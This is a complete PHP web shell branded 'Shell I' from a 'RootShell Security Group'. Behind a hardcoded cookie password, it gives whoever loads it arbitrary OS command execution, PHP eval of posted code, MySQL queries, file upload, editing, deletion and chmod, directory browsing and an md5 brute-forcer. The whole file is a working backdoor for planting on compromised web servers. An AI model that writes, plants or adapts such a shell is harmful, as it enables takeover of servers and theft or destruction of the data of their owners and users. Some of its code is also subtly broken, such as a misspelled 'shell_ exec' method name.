<?php
error_reporting(0); //If there is an error, we'll show it, k?

$password = "login"; // You can put a md5 string here too, for plaintext passwords: max 31 chars.

$me = basename(__FILE__);
$cookiename = "wieeeee";


if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{

    if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
    {
        $_POST['pass'] = md5($_POST['pass']);
    }

    if($_POST['pass'] == $password)
    {
            setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
    }
    reload();
}



if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
    login();
    die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//

if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
    chdir($_GET['dir']);
}


$pages = array(
    'cmd' => 'Execute Command',
    'eval' => 'Evaluate PHP',
    'mysql' => 'MySQL Query',
    'chmod' => 'Chmod File',
    'phpinfo' => 'PHPinfo',
    'md5' => 'md5 cracker',
    'headers' => 'Show headers',
    'logout' => 'Log out'
);

//The header, like it?
$header = '<html>
<title>'.getenv("HTTP_HOST").' ~ Shell I</title>
<head>
<style>
td {
    font-size: 12px; 
    font-family: verdana;
    color: #33FF00;
    background: #000000;
}

#d {
    background: #003000;
}
#f {
    background: #003300;
}
#s {
    background: #006300;
}
#d:hover
{
    background: #003300;
}
#f:hover
{
    background: #003000;
}
pre {
    font-size: 10px; 
    font-family: verdana;
    color: #33FF00;
}
a:hover {
text-decoration: none;
}


input,textarea,select {
    border-top-width: 1px; 
    font-weight: bold; 
    border-left-width: 1px; 
    font-size: 10px; 
    border-left-color: #33FF00; 
    background: #000000; 
    border-bottom-width: 1px; 
    border-bottom-color: #33FF00; 
    color: #33FF00; 
    border-top-color: #33FF00; 
    font-family: verdana; 
    border-right-width: 1px; 
    border-right-color: #33FF00;
}

hr {
color: #33FF00;
background-color: #33FF00;
height: 5px;
}

</style>

</head>
<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900">
<table width=100%><td id="header" width=100%>
<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>]  [<a href="'.$me.'">Home</a>] ';

foreach($pages as $page => $page_name)
{
    $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] ';

}
$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>';
print $header;

$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>';


//
//Page handling
//
if(isset($_REQUEST['p']))
{
        switch ($_REQUEST['p']) {
            
            case 'cmd': //Run command
                
                print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>";
                    if(isset($_REQUEST['command']))
                    {
                        print "<pre>";
                        execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
                    }
            break;
            
            
            case 'edit': //Edit a fie
                if(isset($_POST['editform']))
                {
                    $f = $_GET['file'];
                    $fh = fopen($f, 'w') or print "Error while opening file!";
                    fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
                    fclose($fh);
                }
                print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">";
                
                if(file_exists($_GET['file']))
                {
                    $rd = file($_GET['file']);
                    foreach($rd as $l)
                    {
                        print htmlspecialchars($l);
                    }
                }
                
                print "</textarea><input type=submit value=\"Save\"></form>";
                
            break;
            
            case 'delete': //Delete a file
            
                if(isset($_POST['yes']))
                {
                    if(unlink($_GET['file']))
                    {
                        print "File deleted successfully.";
                    }
                    else
                    {
                        print "Couldn't delete file.";
                    }
                }
                
                
                if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
                {
                    print "Are you sure you want to delete ".$_GET['file']."?<br>
                    <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST>
                    <input type=hidden name=yes value=yes>
                    <input type=submit value=\"Delete\">
                    ";
                }
            
            
            break;
            
            
            case 'eval': //Evaluate PHP code
            
                print "<form action=\"".$me."?p=eval\" method=POST>
                <textarea cols=60 rows=10 name=\"eval\">";
                if(isset($_POST['eval']))
                {
                    print htmlspecialchars($_POST['eval']);
                }
                else
                {
                    print "print \"Yo Momma\";";
                }
                print "</textarea><br>
                <input type=submit value=\"Eval\">
                </form>";
                
                if(isset($_POST['eval']))
                {
                    print "<h1>Output:</h1>";
                    print "<br>";
                    eval($_POST['eval']);
                }
            
            break;
            
            case 'chmod': //Chmod file
                
                
                print "<h1>Under construction!</h1>";
                if(isset($_POST['chmod']))
                {
                switch ($_POST['chvalue']){
                    case 777:
                    chmod($_POST['chmod'],0777);
                    break;
                    case 644:
                    chmod($_POST['chmod'],0644);
                    break;
                    case 755:
                    chmod($_POST['chmod'],0755);
                    break;
                }
                print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
                }
                if(isset($_GET['file']))
                {
                    $content = urldecode($_GET['file']);
                }
                else
                {
                    $content = "file/path/please";
                }
                
                print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod:
                <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b>
                <select name=\"chvalue\">
<option value=\"777\">777</option>
<option value=\"644\">644</option>
<option value=\"755\">755</option>
</select><input type=submit value=\"Change\">";
                
            break;
            
            case 'mysql': //MySQL Query
            
            if(isset($_POST['host']))
            {
                $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
                mysql_select_db($_POST['dbase']);
                $sql = $_POST['query'];
                
                
                $result = mysql_query($sql);
                
            }
            else
            {
                print "
                This only queries the database, doesn't return data!<br>
                <form action=\"".$me."?p=mysql\" method=POST>
                <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br>
                <b>Username:<br><input type=text name=username value=\"root\" size=10><br>
                <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br>
                <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br>
                
                <b>Query:<br></b<textarea name=query></textarea>
                <input type=submit value=\"Query database\">
                </form>
                ";
                
            }
            
            break;
            
            case 'createdir':
            if(mkdir($_GET['crdir']))
            {
            print 'Directory created successfully.';
            }
            else
            {
            print 'Couldn\'t create directory';
            }
            break;
            
            
            case 'phpinfo': //PHP Info
                phpinfo();
            break;
            
            
            case 'rename':
            
                if(isset($_POST['fileold']))
                {
                    if(rename($_POST['fileold'],$_POST['filenew']))
                    {
                        print "File renamed.";
                    }
                    else
                    {
                        print "Couldn't rename file.";
                    }
                    
                }
                if(isset($_GET['file']))
                {
                    $file = basename(htmlspecialchars($_GET['file']));
                }
                else
                {
                    $file = "";
                }
                
                print "Renaming ".$file." in folder ".realpath('.').".<br>
                                <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST>
                    <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
                    <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
                    <input type=submit value=\"Rename file\">
                    </form>";
            break;
            
            case 'md5':
            if(isset($_POST['md5']))
            {
            if(!is_numeric($_POST['timelimit']))
            {
            $_POST['timelimit'] = 30;
            }
            set_time_limit($_POST['timelimit']);
                if(strlen($_POST['md5']) == 32)
                {
                    
                        if($_POST['chars'] == "9999")
                        {
                        $i = 0;
                        while($_POST['md5'] != md5($i) && $i != 100000)
                            {
                                $i++;
                            }
                        }
                        else
                        {
                            for($i = "a"; $i != "zzzzz"; $i++)
                            {
                                if(md5($i == $_POST['md5']))
                                {
                                    break;
                                }
                            }
                        }

                    
                    if(md5($i) == $_POST['md5'])
                    {
                            print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>";
                    }
                    
                }
                
            }
            
            print "Will bruteforce the md5
                <form action=\"".$me."?p=md5\" method=POST>
                <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br>
                <b>Characters:</b><br><select name=\"chars\">
                <option value=\"az\">a - zzzzz</option>
                <option value=\"9999\">1 - 9999999</option>
                </select>
                <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br>
                <input type=submit value=\"Bruteforce md5\">
                </form><br>*: if set_time_limit is allowed by php.ini";
            break;
            
            case 'headers':
            foreach(getallheaders() as $header => $value)
            {
            print htmlspecialchars($header . ":" . $value)."<br>";
            
            }
            break;
        }

}
else //Default page that will be shown when the page isn't found or no page is selected.
{
    
    $files = array();
    $directories = array();
    
    if(isset($_FILES['uploadedfile']['name']))
{
    $target_path = realpath('.').'/';
    $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
        print "File:".  basename( $_FILES['uploadedfile']['name']). 
        " has been uploaded";
    } else{
        echo "File upload failed!";
    }
}


    
    
    
    print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
    if ($handle = opendir('.'))
    {
        while (false !== ($file = readdir($handle))) 
        {
              if(is_dir($file))
              {
                $directories[] = $file;
              }
              else
              {
                $files[] = $file;
              }
        }
    asort($directories);
    asort($files);
        foreach($directories as $file)
        {
            print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
        }
        
        foreach($files as $file)
        {
            print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
        }
    }
    else
    {
        print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>";
    }
    
    print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\">
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
<input type=\"submit\" value=\"Upload File\" />
</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td>
<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form>
</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td>
</table>";


}


function login()
{
    print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>
    <form action=".basename(__FILE__)." method=\"POST\"><b>Password?</b>
    <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">
    </form>";
}
function reload()
{
    header("Location: ".basename(__FILE__));
}

function get_execution_method()
{
    if(function_exists('passthru')){ $m = "passthru"; }
    if(function_exists('exec')){ $m = "exec"; }
    if(function_exists('shell_exec')){ $m = "shell_ exec"; }
    if(function_exists('system')){ $m = "system"; }
    if(!isset($m)) //No method found :-|
    {
        $m = "Disabled";
    }
    return($m);
}

function execute_command($method,$command)
{
    if($method == "passthru")
    {
        passthru($command);
    }
    
    elseif($method == "exec")
    {
        exec($command,$result);
        foreach($result as $output)
        {
            print $output."<br>";
        }
    }
    
    elseif($method == "shell_exec")
    {
        print shell_exec($command);
    }
    
    elseif($method == "system")
    {
        system($command);
    }

}

function perm($file)
{
    if(file_exists($file))
    {
        return substr(sprintf('%o', fileperms($file)), -4);
    }
    else
    {
        return "????";
    }
}

function get_color($file)
{
if(is_writable($file)) { return "green";}
if(!is_writable($file) && is_readable($file)) { return "white";}
if(!is_writable($file) && !is_readable($file)) { return "red";}



}

function show_dirs($where)
{
    if(ereg("^c:",realpath($where)))
    {
    $dirparts = explode('\\',realpath($where));
    }
    else
    {
    $dirparts = explode('/',realpath($where));
    }
    
    
    
    $i = 0;
    $total = "";
    
    foreach($dirparts as $part)
    {
        $p = 0;
        $pre = "";
        while($p != $i)
        {
            $pre .= $dirparts[$p]."/";
            $p++;
            
        }
        $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/";
        $i++;
    }
    
    return "<h2>".$total."</h2><br>";

}
print $footer;

// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
exit();
?>
